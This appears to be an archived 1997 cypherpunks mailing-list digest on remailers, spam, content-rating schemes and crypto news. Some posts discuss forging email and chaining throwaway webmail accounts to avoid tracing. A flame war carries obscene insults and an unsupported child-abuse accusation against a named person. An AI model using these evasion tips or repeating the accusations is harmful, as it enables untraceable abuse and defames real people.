"safe" again.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From nospam-seesignature at ceddec.com  Fri Aug  8 01:18:42 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Fri, 8 Aug 1997 16:18:42 +0800
Subject: anti-spam law implies laws against remailers?
In-Reply-To: <199708061705.SAA03362@server.test.net>
Message-ID: <97Aug7.103456edt.32257@brickwall.ceddec.com>

On Wed, 6 Aug 1997, Adam Back wrote:

> 2) When the government or whoever wants to sue someone for spam they
>    will have to prove who the spammer is.  (Right?)  So now they'll
>    look at the From address at it will say remailer at foo.com.  So
>    they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
>    won't be able to cooperate because he doesn't keep logs.  They won't
>    be happy with Fred, and will pass this information along to him by
>    stealing his equipment, prosecuting him for assisting in a felony
>    crime (they'll make it a felony right?), lock him and throw away
>    the key.  But what about Freds constitutional protection of the
>    speech forwarded by his remailer?  (Judge + congress-critter:
>    Constitution wassat?)
> 
> 3) Repeat step 2 x 100 and "something will have to be done" about the
>    remailers (if there are any left!)  It really isn't that far
>    fetched to have laws against remailers in the US.  Not so long ago
>    the guy from the two-man band Georgia EFF were telling us about how
>    they fought some law which had already tried to do this in that
>    state.

I suppose you could sue a local office or copier services place if I sent
one "unsolicited commercial fax" using their equipment, but it would be
impractical.

Most of the spam I get has thousands of other recipients, and none of it
has ever gone through a remailer, and always points to a "spam-friendly" 
ISP, or often already has their account cancelled by the time I report it. 

If we could get AGIS (the last of the large bandwidth suppliers) to pull
the plug on the IEMMC sites - I already have many spams from their members
violating their code - most spam would disappear.  It also seems that AGIS
is getting a bad reputation, but I don't know how many sites are leaving
or joining, but if they don't have interesting content, and don't pull the
plug on the IEMMC, adjustments to enough routing tables will accomplish
the same thing.

If we can stop the bulk spammers, things would quiet down.  The problem is
to stop the smokestack belching smoke without preventing me from using a
torch in my back-yard at night.

If remailers don't automatically do anonymous mailings to a 10,000 entry
Bcc: list, they would only be able to spam a few hundred people at a time
even using remailers.

Generally that isn't enough to be worth the time since only a tiny
fraction of a percentage will respond to generic requests.  If you can
only do 500, it would then pay to get a narrower list, or even personalize
things, and I might actually read something that interests me.  No one
considers announcements for cryptographic technology products on this list
as "SPAM".

--- reply to tzeruch - at - ceddec - dot - com ---

From azur at netcom.com  Fri Aug  8 01:18:45 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 8 Aug 1997 16:18:45 +0800
Subject: Eternity Uncensorable?
In-Reply-To: 
Message-ID: 

>Mark Grant  writes:
>> On Wed, 6 Aug 1997, Adam Back wrote:
>The solution is to have disposable tents, lots of.
>
>What about AOL disks?  We need shorter lived, disposable remailers as
>exit remailers...  Let them take the heat, while the real remailers
>walk.  Lets see a series of "exitman" remailers.  Exitman remailers
>are walking targets left to fend for themselves as long as they may.
>
>I propose that an exit remailer is replaceable, that is another
>remailer can instantly step into it's place and take traffic.  The way
>to do this is to have a special automated reporting mechanism for
>exitman remailers.  An easy way to do it is to have the exitman
>remailers send mail to a given mailing list.  Other remailers which
>wish to use exitman remailers just subscribe to the chosen mailing
>list.  We just need a remailer command indicating the creation of a
>new exitman remailer.  I guess the exitman remailer just sends one
>message per day, or whatever, and if it stops, you write it off.
>
>Is there a military term for something sent in to get shot to bits,
>just to distract attention from other movement?  A decoy?

A possible problem is the motivation of those setting up decoys.  If
they're doing it to help thwart remailer abuse, fine.  But what if their
intent is to thwart remailers?  Couldn't these dissidents set up black-hole
remailers which are simply information sinks?  When a email is
chain-remailed and doesn't get delivered many, but not all, senders would
simply assume one of the remailers are having delivery problems and resend.
Will Raph's approach work to monitor  decoys when their number and identity
are constantly changing?  Won't this significantly complicate remailer
clients?

--Steve

From tcmay at got.net  Fri Aug  8 01:19:10 1997
From: tcmay at got.net (Tim May)
Date: Fri, 8 Aug 1997 16:19:10 +0800
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes
In-Reply-To: 
Message-ID: 

At 3:23 PM -0700 8/5/97, bpettigrew at usa.net wrote:

>The solution to bad speech is more speech.  Don't suppress, ban,
>or oppose RSAC.  Provide alternatives.
>

Most of us aren't trying to "ban" labels, or suppress or oppose them, per se.

Just to ban, suppress, and oppose:

- any scheme to require them

- any scheme in which labels are an "affirmative defense"

- any "mandatory voluntary" schemes

- any moves to legislate or dictate the forms labels may take

--Tim May

Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years

From mail at sendmailco.com  Fri Aug  8 01:19:29 1997
From: mail at sendmailco.com (mail at sendmailco.com)
Date: Fri, 8 Aug 1997 16:19:29 +0800
Subject: 25,000,000 People
Message-ID: <199708070921.CAA12275@sweden.it.earthlink.net>

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From declan at well.com  Fri Aug  8 01:19:42 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 8 Aug 1997 16:19:42 +0800
Subject: Third party rating systems are good for society
Message-ID: 

---------- Forwarded message ----------
Date: Thu, 7 Aug 1997 19:33:16 -0700 (PDT)
From: Declan McCullagh 
To: Stanton McCandlish 
Cc: mnorton at cavern.uark.edu, jellicle at inch.com,
    fight-censorship at vorlon.mit.edu
Subject: Third party rating systems are good for society

On Thu, 7 Aug 1997, Stanton McCandlish wrote:

> [Lest more people send hatemail, please keep in mind that the description
> of third party ratings as "good things" here means a proliferation of
> third party reviews of  content, goods and services just like we have in
> the real world. It does not mean Milburn imposing his morality on the

I'm still wrestling with how to think about third party rating systems in
general and clunky, pejorative systems like RSACi in particular. How to
differentiate the two in principle? Time to reread the ALA's statements
again.

For I think in general, third party rating systems are boons to society. 
Think of the Good Housekeeping Seal of Approval, Underwriter Labs, and
kosher rating agencies. These are socially useful devices, each one of
them. (I'd be interested to hear what similar systems have sprouted in
other countries.) 

Or, to put it in cypherpunkly terms, marks allow the redistribution of
reputation capital. The Time logo and the Netly News URL on my business
card may boost my reputation when presented to someone who doesn't know
me. An Intel Inside logo may (or may not!) do the same. Even SATs and
GMATs are rating systems of a sort, for they tell a prospective employer
or college something about me. Then there's TRUSTe. 

Third party rating systems are nothing more than the formalization of
gossip, which has lubricated the social wheels of every society that has
ever existed.

So I suggest one should not oppose third party rating systems in general
but instantiations of these systems in particular. RSACi is certainly one
of those. 

-Declan

From mark at unicorn.com  Fri Aug  8 01:20:13 1997
From: mark at unicorn.com (Mark Grant)
Date: Fri, 8 Aug 1997 16:20:13 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
Message-ID: 

On Thu, 31 Jul 1997, Jeff Barber wrote:

> Network bandwidth used for the purpose of email transport,
> even with increased spamming factored in, is simply too low to justify
> charging much for it.  It will still be *way* cheaper than surface mail.

Yep; which is why it's a bad idea. We don't need net postage to pay the
ISP, we need net postage to pay *me* to read the spam. Making them pay
$0.0001 to send a message will have little impact, but making them pay me
$1 to read it certainly will (i.e. my filters could block all potential
spam unless it includes a dollar of ecash). I have no problem with
spammers subsidising my Net access, I just object to having to pay for
their crap. 

> So unless the percentage of people who delete it instantly, sight-unseen,
> is higher than I suspect or new tools make it easy to filter out all
> spam, it's going to remain economically advantageous for the spammers
> to target broadly.

I've seen one spam in the last two weeks. The other 100k or so was blocked
by my filters; I'm almost starting to miss it. When you actually sit down
and analyse the spam most of it has so many obvious 'spam-tags' that you
can easily work out a set of rules to catch them. The only disadvantage is
that on a couple of occasions it's caught mail from friends when they sent
it through a site which appends advertising rather than from their normal
address. 

	Mark

From iverson at usa.net  Fri Aug  8 01:22:20 1997
From: iverson at usa.net (Casey Iverson)
Date: Fri, 8 Aug 1997 16:22:20 +0800
Subject: Qualcomm employee attacks the remailers
Message-ID: <3.0.16.19691231190000.4a57c97e@pop.netaddress.com>

At 10:37 PM 8/6/97 EDT, The Anti American, KGB loving  bucket of animal
dung and human excrement :
 Dr.Dimitri Vulis KOTM wrote the following, and again the master of
disinformation and  harassing e-mail, points
out that others are targeting him for the abuses that he is famous for.

Are we expected to have sympathy for this dick brain?

>
>Paul Pomes  writes:
>
>> |Paul Pomes sends me harrassing e-mail and quotes more obscenities from
>> |the anonymous remailers:
>
>such as:
>
>]I take this all to mean that you are Master Cocksucker Dimwit Vulis?
>
>> As you posted the obscenities in the first place I fail to understand your
>> objections.
>
>
>Lie from Pomes: I never in my life sent anything to this motherfucker.
>
>Another lie from Pomes: a few days ago the motherfucker wrote:
>
>]Subject: Re: Entrust Technologies's Solo - free download
>]From: Paul Pomes 
>]Organization: Qualcomm, Inc.
>]To: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>]Cc: freedom-knights at jetcafe.org
>]Date: Wed, 30 Jul 1997 09:13:52 -0700
>]Message-Id: <9502.870279232 at zelkova.qualcomm.com>
>]Sender: ppomes at Qualcomm.com
>]
>]At 9:22 EDT on Wednesday, July 30, 1997, Dr.Dimitri Vulis KOTM wrote:
>]
>]|I ask everyone on these two forums to inform Northern Telecom Forgers /
>]|Bell North Forgery Research / Entrust that we will boycott their
>]|"security" products as long they continue to employ the child-molesting
>]|pedophile Chris R. Lewis - the biggest forger on Usenet.
>]
>]Sorry, I'm afraid that honor belongs to you, Dimi.  What I will do is
>]killfile you as also the biggest un-cultured twit on Usenet.  High honors
>]of a sort.
>]
>]/pbp
>
>Clearly Pomes lied about having killfiled me.
>
>Pomes harrasses anonymous remailer operators: he has been complaining to
>Jeff Berches's employer and upstream, contributing to his decision
>to shut down the cajones remailer:
>
>]To: abuse at hotwired.com, abuse at bbnplanet.net, remailer-admin at cajones.com
>]        jeff at hotbox.com, ops at bbnplanet.com, toxic at content.org,
>]        dgaudet-djg20 at arctic.org
>]From: Paul Pomes 
>
>Tim Skirvin condones and supports net-abuse by Net.Scum like Pomes,
>Hannigan, and Varshavchik.
>
>Please tell Qualcomm what you think about their employee attacking
>the anonymous remailers.
>
>
>

From enoch at zipcon.net  Fri Aug  8 01:30:25 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Fri, 8 Aug 1997 16:30:25 +0800
Subject: Exit Remailer Suggestion
Message-ID: <19970807192254.40.qmail@zipcon.net>

Someone wrote:

 > What about AOL disks?  We need shorter lived, disposable
 > remailers as exit remailers...  Let them take the heat,
 > while the real remailers walk.  Lets see a series of
 > "exitman" remailers.  Exitman remailers are walking targets
 > left to fend for themselves as long as they may.

We already have a preconfigured set of exit remailers.  They have
names like "hotmail", "rocketmail", etc...  These are the
web-based email services which will instantly create accounts for
anyone, no questions asked or authentication required, and permit
access to these accounts with the chosen password from anywhere
on the Net.  You can even chain them, using an account on one to
apply for an instant account on another, leaving few bread crumbs
for anyone to follow.

Most of these services don't care, don't log, and rarely read
their email to abuse at . Even if pressure does cause an occasional
account to be deleted, you can easily create ten more in as many
seconds.

By reconfiguring current remailers to use a public Email service
as the last link in the chain, we tap a potentially infinite
supply of disposable accounts, on advertising-supported service
providers with skins as thick as those of the bulk emailers.

Sounds like a plan to me.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From declan at pathfinder.com  Fri Aug  8 01:47:36 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 8 Aug 1997 16:47:36 +0800
Subject: Gore on "information standard," from wire service reports
Message-ID: 

@TEXT
	gore-urban-league 6thadd
	GORE/URBAN LEAGUE       PAGE 10 08/06/97 .STX
	x x x high.
	You know, forget about the gold standard; we're on the information
standard.  There's $1-1/2 trillion in the global economy sloshing around
every single day, flowing toward those nations that make hard choices
based on real numbers and get away from illusionary policies based on
secondhand smoke and rear-view mirrors.  By making the tough choices and
investing more in our priorities for the future, while at the same time
steadily reducing the budget deficit, we are keeping interest rates down
and drawing investment capital to the right places in the United States of
America.
	President Clinton and I know that while a strong and growing
national economy is job number one, and while we are proud of the progress
that has been made, we know that it is only a start, and much more needs
to be done.  We know that it's also not enough, because while we must
improve the track, we must also make sure that everyone has the
opportunity to get to the starting gate.
	That's especially important today, because we are entering a new
economy, one that is not just better and stronger than the old one, but
one that is very different as well, in fundamentally new ways.  It is an
economy driven by information and technology.  It is an economy that
depends less on the size of our factories than it does on the skills and
creativity of our people.  It is an economy that is linked to the global
marketplace by phone, fax, and computer cable.  It is an economy that is
zapping dollars and data around the world every moment at the speed of
light.
	That's something new.  We all know that.  We see it in our daily
lives.  We experience it when we walk into a business establishment. We
see it in our own work.
	And if we prepare for this new economy, this new world, in the
right way, then this new economy can be the most empowering and inclusive
economy that the United States of America has ever known.
	In an economy where goods and services are increasingly traded
along and across the information superhighway, a simple connection to the
Internet can transform an isolated urban community into a thriving
economic center.
	In an economy where companies cannot afford not to hire and
promote the best-educated, best-trained, best-skilled employees, the right
kind of education can indeed help to crack the glass ceiling and break
through the barriers of prejudice and hatred, and get rid of the residue
of that hatefulness from history  in an economy. .ETX 
	GORE/URBAN LEAGUE       PAGE 11 08/06/97 .STX
	MORE
	.ETX Aug 06, 1997 12:04 ET .EOF 

From aba at dcs.ex.ac.uk  Fri Aug  8 01:54:51 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 8 Aug 1997 16:54:51 +0800
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: 
Message-ID: <199708080223.DAA01636@server.test.net>

Andy Dustman 
> > Wasn't there an email forgery web page around for a while.  The idea
> > was that you filled in the details of who you wanted to send to, what
> > address you wanted it to appear you had sent it from, and paste your
> > message in this form box.  It did some kind of crude sendmail forgery
> > for you.
> 
> Hmmm. Someone has recently been forging mail to appear to be from cracker
> through something like this (very bad forgery, headers are all wrong).

I said "wasn't there", as in past tense.  It got nuked years ago now
(literally) because of complaints.  When I looked at the page it still
had the text but a note that it was disabled, and why.

Just wandering if anyone knew if anyone else had set up something more
recently that still worked.

> > You'd not want to use the same public access account regularly.
> 
> I'm not thinking of an account so much as maybe a PC in a university
> computer cluster. Pick one and go. At a big university there should be
> several clusters around campus.

You might get away with that for a pretty long time, I guess.

> > I think the connecting to the web based interface of one of those free
> > web gateways via www.anonymizer.com web based interface has potential.
> 
> It does, but I know The Anonymizer blocks some sites, at their request.

Right.  So there is one anonymizer, and if we make a big game of using
this method, Lance will get threats, and at best be asked to block
them.  We need something more distributed.

That network of anonymizers isn't here yet.

> > How much trouble can you get in with ISPs for forging email?  Do they
> > care?
> 
> Mindspring cares. My ISP was absorbed by them about two weeks after I
> signed up. They say in their terms of service that impersonating someone
> else is forbidden, but they specifically allow the use of anonymous
> remailers and nicknames. I assume this means forging is frowned upon,
> unless you are impersonating someone who doesn't exist, I guess.

Well I was thinking along the lines of:

	bubba at dev.null

type addresses yes.  You ain't imitating anyone there.  I wonder if
they frown on generating non-replyable email addresses though.
Non-existant domains.  I speculated in the previous post that perhaps
the habit of using: 

	gizmo at netcom.com.NOSPAM

might make ISPs accustomed to having people use non-replyable email
address all the time.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

   Net crime begs questions: Who to call?
   By [38]Janet Kornblum
   August 5, 1997, 8:00 p.m. PT

   On June 10, out of the blue, Bruce Hovland's business phone started
   ringing off the hook. The people calling weren't happy.

   They all demanded to know the same thing: How did they get on his
   mailing list? They also insisted, not always nicely, that he not send
   them the pornography he had apparently promised them in an email. They
   didn't order any porn, they said.

   Hovland doesn't send out pornography for a living, and he hadn't sent
   angry callers any email, either.

   In fact, Hovland is a Florida businessman who rents out an inland
   marina and markets various products like construction materials, none
   of which have anything to do with porn, email, or the Internet. He
   surfs for educational reasons and sometimes sends mail, but that's
   about it.

   According to Hovland, he is a victim of a crime. Someone--he thinks he
   knows who--sent out an email to possibly thousands of people telling
   them that "in 48 hours your credit card will be charged $184.80" for
   three adult videos. Recipients were then told they could not reply by
   email but "If we do not hear from you within 48 hours, we will assume
   everything is correct and make the charge to your card."

   The email supplied contact numbers, all belonging to Hovland. Perhaps
   adding insult to injury, the email said "you may call collect you if
   you wish."

   Hovland estimates there were thousands of calls from everywhere. "I've
   been pretty much threatened from all corners of the world," he said.
   He added he reported the incident to the local sheriff's department
   and to the [39]FBI and Secret Service.

   "I think I've been internationally defamed. I'm known worldwide as a
   porn dealer."

   But that's not even the part that bothers him the most: Hovland said
   this incident alerted him to the fact that there's no place to deal
   specifically with Internet crimes. Now, he wants to do something about
   it.

   "I believe that the entity, the Internet, is accountable. The freedom
   of it is what makes it so great, but they need to police it. They need
   to have 911 [for the] Internet."

   He's already gotten support from one person: Philip Kirschner, a law
   student who received the spam and called Hovland to cancel the order.
   Kirschner is helping to mount a campaign for legislation or some sort
   of task force.

   Hovland said he and a friend started tracing the email spam. With some
   luck, he explained, he figured out that it came from a wanted man who
   had fled the country and left his boat and car at Hovland's marina
   without paying rent. Hovland eventually sold the goods, but catching
   the alleged culprit is a different story; suing him would be nearly
   impossible.

   Hovland said he's lost two weeks worth of work. But he noted it could
   have been a lot worse: Someone could have directed the spam victims to
   a hospital switchboard or some other business that counts on their
   phones to help save lives.

   "Anyone can be a victim, whether you're an Internet user or not. If a
   guy can be in a foreign country and pinpoint his harassment and maybe
   be unprosecutable, there's a major problem. International harassment
   via the Internet can be an extremely volatile thing. It's a lot more
   serious than some fat white guy in Florida getting harassed."

   Now he hopes the spam and his experience will lead to something
   bigger, maybe even a movement that speaks for the average person who
   winds up being a victim of a Net crime.

   "A regular businessman in this society can be victimized at the point
   of a mouse," Hovland said. "They could literally put me out of
   business if they continued. It's bizarre."

    related news stories
    • [40]CNET Special Feature: Dark side of the Web July 18, 1997
    • [41]Laws of cyberland April 25, 1997
    • [42]CNET Special Report: Crime on the Net February 7, 1997
    • [43]States mull harassment laws January 31, 1997
    • [44]States fight harassment December 16, 1996
    • [45]FBI in Net porn probe December 12, 1996

  38. mailto:janetk at cnet.com
  39. http://www.fbi.gov/
  40. http://www.news.com/News/Item/0,4,12590,00.html
  41. http://www.news.com/SpecialFeatures/0,5,10040,00.html
  42. http://www.news.com/News/Item/0,4,7754,00.html
  43. http://www.news.com/News/Item/0,4,7550,00.html
  44. http://www.news.com/News/Item/0,4,6262,00.html
  45. http://www.news.com/News/Item/0,4,6157,00.html

From ravage at ssz.com  Fri Aug  8 02:10:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 8 Aug 1997 17:10:53 +0800
Subject: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
Message-ID: <199708080232.VAA08939@einstein.ssz.com>

Forwarded message:

> Date: Thu, 07 Aug 1997 21:12:15 -0400
> From: John Young 
> Subject: Shor's Algorithms: Mad, Bad and Dangerous

> >From a WSJ nook review today of "The Fabirc of Reality,"
> by David Deutsch (Allan lane, 390 pp., $29.95):
> 
>   Using something called "Shor's algorithm," a quantum
>   computer can factor giant numbers and thereby break
>   secret codes that no conventional computer could touch.
> 
>   The only way it could do this, Mr Deutsch argues, is by
>   distributing its operations over many parallel universes.
>   "To those who cling to a single-universe world-view,"
>   he writes with evident asperity," I issue the challenge:
>   *explain how Shor's algorithms works.*"

The Many Worlds Hypothesis was developed by David Bohm and is an alternate
way of looking at the Uncertaintly Principle, which gets its origin from the
collapse of wave functions used to describe the potential states of a wave.

The advantage of using a Many Worlds Hypothesis is that it allows you to do
away with Bohms, Schroedinger, Einstein, etc. objections to the standard
model, God playing with dice.

>From an existential perspective it is simply another way of viewing the
Hamiltonian of the wave equation. In short the Many World theory says that
all possible outcomes are available in parallel, you only get to experience
one of them. The standard model says the Hamiltonian collapses from its
n-element state to a single valued state at the time of measurement (ie the
system is in no state unless measured). Which was Schroedingers explicit
complaint, in his cat model the question he was asking (that gets dropped
by modern physicist because it is so subversive to the Standard Model) is
"Doesn't the cat know what state it is in?". The implicit (and never stated)
assumption in the Standard Model is that a particle's state is defined by
the particles and their interactions that surround it AND the particle is
comletely unaware of it. Which brings questions like "How does the electron
know to be in the S1 orbital if it doesn't have any way of knowing its
energy state?". This is especialy problematic since a base assumption is
that the only way to effect an electron is through a photon. A good extension
is consider the insanity of the Moon disappearing when you aren't looking
at it. Look at the Moon and the tides appear, look away from the Moon and
the tides go away...

>   Combining the many-universes notion with quantum probablity,

You can't combine them, the whole point of the Many Worlds theory is to
explicity eliminate quantum probability and bring the mechanism into the 
deterministic model used at higher levels of scale (ie Newtonian Mechanics).
The goal is to build a system that is consistent across questions of scale.

>   and adding elements of Darwinism and Karl Popper's theory
>   of knowledge, Mr. Deutsch apsires to nothing less than a
>   complete understanding of "the fabric of reality." Arrogant
>   in tone and marred by leaps of logic, his book nonetheless
>   bristles with subversive insights about virutal reality,
>   time travel, mathematical certainty and free will. 
>   Intellectually speaking, Mr. Deutsch is mad, bad and 
>   dangerous to know.

Sounds like a bunch of wishfull thinking and serious misunderstanding of
Bohm, Schroedinger, etc.'s work.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

From frogfarm at yakko.cs.wmich.edu  Fri Aug  8 02:29:26 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Fri, 8 Aug 1997 17:29:26 +0800
Subject: arg8797.htm
Message-ID: <199708080847.EAA31851@yakko.cs.wmich.edu>

                                  News Story

                          Thursday August 7, 1997
   ______________________________________________________________________

                                                     [1]Back to Tech News

                                                                [2][LINK]

   Government of Argentine not happy with the Net
   [3]Ken Rutkowski  Tech Talk News

   Argentina's coordinator for the Secretary of Communications has
   announced government plans to intervene in Internet service provision
   within the country in order to establish standards of cost and
   quality.

   "We are very dissatisfied with the degree of Internet diffusion," says
   Alejandro Garro. "The government is worried about the low level of
   penetration that the service has in Argentina both geographically and
   in terms of income classes."

   Garro is critical of the high cost of the service and the low number
   of Internet subscribers, estimated to around 75,000. He blames the low
   level of investment by national service providers and has announced
   that a public inquiry will deal with the issue.

   However, the Secretary of Communications official maintains that no
   government restrictions will be applied to the political, social,
   religious or educational content of the Internet, as has recently
   happened in the U.S.

   "In the government resolutions which paved the way for the Internet
   into Argentina, clear reference is made that there exists no way in
   which its contents can be regulated," Garro says.

   South America's current statistics shows Argentina's internet growth
   to be the second to Brazil.

   [4]Listen To Today's World Technology Round Up

          ________________________________________________________

                     [ [5]Welcome] [ [6]Mailing List ]

    [ [7]Inside Sources ] [ [8]What's New] [ [9]Cool Links ] [ [10]Audio
                                 Archives]

References

   1. http://www.ttalk.com/news/index1.html
   2. http://www.ttalk.com/news/index1.html
   3. mailto:ken at ttalk.com
   4. http://audio.wirelesstcp.net/ttalkra/tech.ram
   5. http://www.ttalk.com/
   6. http://www.ttalk.com/mail_list.htm
   7. http://www.ttalk.com/inside_sources.htm
   8. http://www.ttalk.com/whatsnew.htm
   9. http://www.ttalk.com/links.htm
  10. http://www.audionet.com/shows/techtalk/index.html#archive

From jbaber at mi.leeds.ac.uk  Fri Aug  8 02:32:24 1997
From: jbaber at mi.leeds.ac.uk (jbaber at mi.leeds.ac.uk)
Date: Fri, 8 Aug 1997 17:32:24 +0800
Subject: REPOST : Un-forgeable Cancels
Message-ID: <12867.9708080920@misun2.mi.leeds.ac.uk>

I don't think this got through the first time so I am resending it......

--------------------------------------------------------------------------

OK so this has probably been thought of before or has some horrible problem
that I have missed but how's about this as a method of verifying that cancels
have actually come from the author of a message.

I have seen a number of solutions that use various signature algorythms to
check that the cancel has been sent by the original author of the message.
However these require that the news program has access to the public key of
the author in order to verify the signature before honouring the cancel. 
Since there are millions of authors on usenet I believe that this is 
impractical and, not suprisingly, key management again turns out to be a
major problem which I believe can be solved using one way hash functions.

1	When any message is sent a hash X is calculated as :

			X = HASH(Mid,S)

	where	Mid is the Message ID 
		S is a secret controlled by the author (eg a pass phrase)

2	The hash value Y is then calculated such that:

		Y = HASH(X) = HASH(HASH(Mid,S))

3	The value calculated for Y is then included with the message as

		X-Cancel-Ref: Y

This does assume that message IDs are available by the news program and are
not allocated after sending. If this is not the case then it would be necessary
to use other header information to calculate the hash such as the date/time
and subject, or to store some kind of key at the authors end in order to
reference the message (although in this case X may as well just be generated
randomly and stored).

If the user later decided that the message should be canceled he must
re-calculate X using the message ID and his pass phrase and include this
value in the cancel :

		X-Cancel-Key: X

News programs can then be set to check that a valid value of X such that
HASH(X)=Y has been received before honouring the cancel.

Note - I realise that this does not stop anyone who can change the X-Cancel-Ref
header from canceling the message but if they can do that they can probably 
just delete the message anyway.

Any comments/glareing weaknesses that I have missed?

Jon
http://chem.leeds.ac.uk/ICAMS/people/jon/

From jya at pipeline.com  Fri Aug  8 02:43:57 1997
From: jya at pipeline.com (John Young)
Date: Fri, 8 Aug 1997 17:43:57 +0800
Subject: E-Commerce Report
Message-ID: <1.5.4.32.19970808020729.00746f28@pop.pipeline.com>

7 August 1997, Business Wire:

Businesses will spend $31 billion on Electronic Commerce-related 
software,  hardware, products and services by the  year 2001, 
according to Bill Burnham, senior research analyst at Piper 
Jaffray Inc.

That's one of the conclusions Burnham draws in "The Electronic 
Commerce  Report" released today. The first comprehensive study 
of the rapidly emerging Electronic Commerce industry, Burnham's 
report  outlines how this spending threatens to topple many of 
the existing  structures underpinning the economy.

The 250-page document provides an in-depth examination of five 
separate areas of the Electronic Commerce industry: 

  Internet  Security, 
  Electronic Payments,  
  Financial Software, 
  Business Commerce Software and 
  Commerce Content  (Internet-based retailing).  

The  report includes projections for revenue growth, size of the 
electronic bill payment industry, number of electronic bill 
presentments and the number of commerce-oriented Internet sites.

Some of the report's most significant findings include:

-- Implementation of the Secure Electronic Transaction (SET) 
standard for  Internet credit card transactions may be delayed 
due to  compatibility and  processing problems;

-- Increasing concentration in the electronic payment sector 
will lead to the "death" of the current payment system. The 
Internet increasingly will be used in lieu of payment networks  
currently run by organizations such as Visa, Mastercard and the  
Federal Reserve;

-- An estimated $228 billion in goods and services will be  
bought and paid for over the Internet in 2001. The  consumer-to-
business market will account for $26 billion in  purchases while 
the business-to-business market will account for $202 billion in 
purchases - eight times larger than the consumer  market;

-- The Electronic Data Interchange (EDI) industry faces an 
increasing challenge from a new Internet-based technology called  
Direct Data Internet (DDI). DDI eventually will battle with the 
EDI industry for control of the business-to-business market on the  
Internet;

-- Intelligent Agents -- software programs that automatically  
shop on behalf of consumers -- will eliminate the advantage enjoyed  
by firms with well known consumer brands;

-- Banks and technology firms such as Microsoft and Intuit are  
heading towards a confrontation over the creation of so-called  
"Integrator" sites on the  Internet. These sites are destined to  
become a consumers' gateway to the  Electronic Commerce industry;

-- The Internet security industry will grow from $525 million to  
$2.7 billion in the next five years. However, this industry will  
face constant threats from large technology firms such as Microsoft  
and Cisco Systems, who could  destroy the industry by embedding  
security features into their products.

"Too many people have confined the concept of Electronic Commerce 
to selling trinkets over the Internet," Burnham said.  "But 
Electronic Commerce goes much deeper than that. Over the next few  
years we will witness a series of battles between firms that hang on  
to the traditional ways of doing business and those that embrace and  
capitalize on the rise of Electronic Commerce."

Copies of a six-page summary or the entire 250-page report are 
available upon request. For more information, contact Piper Jaffray  
at (612) 342-5540.

-----

From aba at dcs.ex.ac.uk  Fri Aug  8 02:49:06 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 8 Aug 1997 17:49:06 +0800
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: 
Message-ID: <199708072250.XAA05978@server.test.net>

Andy Dustman  writes:
> On Thu, 7 Aug 1997, Adam Back wrote:
> 
> > You know how middleman operators work...  they always, always send
> > mail via another remailer and never deliver mail to a user.  (I'm not
> > sure if they detect this by looking to see if the address is on the
> > remailer list, or just always add an extra hop?)
> 
> I think by definition a middleman always chains through one or more
> additional remailers. When I ran dustbin, it was a "smart middleman",
> i.e., if the recipient was a known remailer, it wouldn't bother to chain
> (remailers rarely complain), otherwise it would chain through a single
> remailer. 

OK, so as you're the first person to implement a smart middleman I
guess that defines the terminology :-)

middleman
  "always adds another hop through a random remailer"

smart middleman
  "posts through remailer when asked to deliver to anybody other than
   a known remailer"

Wasn't there for a time a hidden middleman.  That is a middleman
remailer who's published address was a nym account on a nymserver?
That'd be a "hidden middleman".

> An even smarter middleman would detect PGP messages and deliver those
> directly to end recipients, since those people are unlikely to complain
> about anonymous mail, and chain if the message was plaintext. The risk
> involved with this type of middleman operation should be rather small.

Yep.

Dimitri suggested on cypherpunks in the last round of discussion of
this sort of thing another variation on that -- that you could deliver
the mail if the person had a PGP public key on the keyservers --
whether the email was encrypted or not.  On the assumption that people
who use PGP would be unlikley to complain of anonymous mail.
